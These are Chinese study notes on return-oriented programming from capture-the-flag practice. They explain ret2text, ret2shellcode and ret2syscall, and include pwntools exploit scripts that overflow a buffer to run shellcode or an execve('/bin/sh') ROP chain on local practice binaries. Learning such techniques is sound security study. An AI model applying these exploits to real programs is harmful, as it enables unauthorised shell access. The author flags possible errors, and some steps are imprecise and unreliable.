ROP
ROP(Return Oriented Programming):主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
针对wiki写的理解,可能会有错误
基础ROPret2text
这里栈的知识给我绕了好久
每次进入函数,首先压入的就是该函数的返回地址,然后生成栈帧,压入上个函数的基址指针(也就是上个函数的EBP的地址)
所以函数的返回地址在EBP下面,也就是EBP+4
EBP在高地址,ESP在低地址,每次入栈出栈,ESP变化
gdb下
b *0x080486AE #是下断点
r #运行
解题步骤
找到/bin/sh的地址
找到call get函数下的s(通过esp地址+偏移量计算)、ebp的地址,计算偏移(返回地址在偏移基础上+4)
写payload:'A'*{s与返回地址的偏移}+{/bin/sh的地址}
解法原因
开启了栈不可执行保护
ret2shellcode
原理
ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
例子
看一下保护
拖入ida
发现bss段可执行
接下来就和ret2text差不多
EXP
buf_address=0x804a080
ebp_address=0xffffcf88
eax_address=0xffffcf1c
addr=0xffffcf88-0xffffcf1c+4
from pwn import *
sh = process('/home/zhoujingni/Desktop/ret2shellcode')
shellcode = asm(shellcraft.sh())
sh.sendline(shellcode.ljust(addr, 'A') + p32(buf_address))
sh.interactive()
知识点整理
①gdb:
delete 1 #删除1号断点
②asm(shellcraft.sh()):
asm()函数接收一个字符串作为参数,得到汇编码的机器代码。
eg:
>>> asm('mov eax, 0')
'\xb8\x00\x00\x00\x00'
shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。
其中的子模块声明架构,比如shellcraft.arm 是ARM架构的,shellcraft.amd64是AMD64架构,shellcraft.i386是Intel 80386架构的,以及有一个shellcraft.common是所有架构通用的。
而这里的shellcraft.sh()则是执行/bin/sh的shellcode了
③shellcode.ljust(addr, 'A'):
Python ljust():返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。
str.ljust(width[, fillchar])
width -- 指定字符串长度。
fillchar -- 填充字符,默认为空格。
解题步骤
发现gets函数和strncpy函数
发现buf在bss段
查看bss段权限
计算偏移写payload
解法原因
bss段可执行,没有找到/bin/sh
ret2syscall
原理
控制程序执行系统调用,获取 shell。
例子
偏移108+4
寻找可以控制eax的gadget,可以控制其他寄存器的gadget
找到/bin/sh的地址
找到int 80的地址
EXP
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
知识点
①int表示中断,数字0x80是中断号。 中断将程序stream传送给正在处理该中断的人,在这种情况下,中断为0x80。 在Linux中,0x80中断处理程序是内核,用于由其他程序对内核进行系统调用。
②0xb 为 execve 对应的系统调用号。
③ropgadget
安装方法
pip install ropgadget #或者到官网下载包
ropgadget用法:
ROPgadget --binary filename --only 'xxxx'|grep 'xxxxxx'
ROPgadget --binary filename --string 'xxxxx'
④pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]
execve("/bin/sh",NULL,NULL)
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
⑤flat()
解题步骤
看保护机制开了哪些
找gadget
构造系统调用
计算偏移量写payload
解法原因
NX开了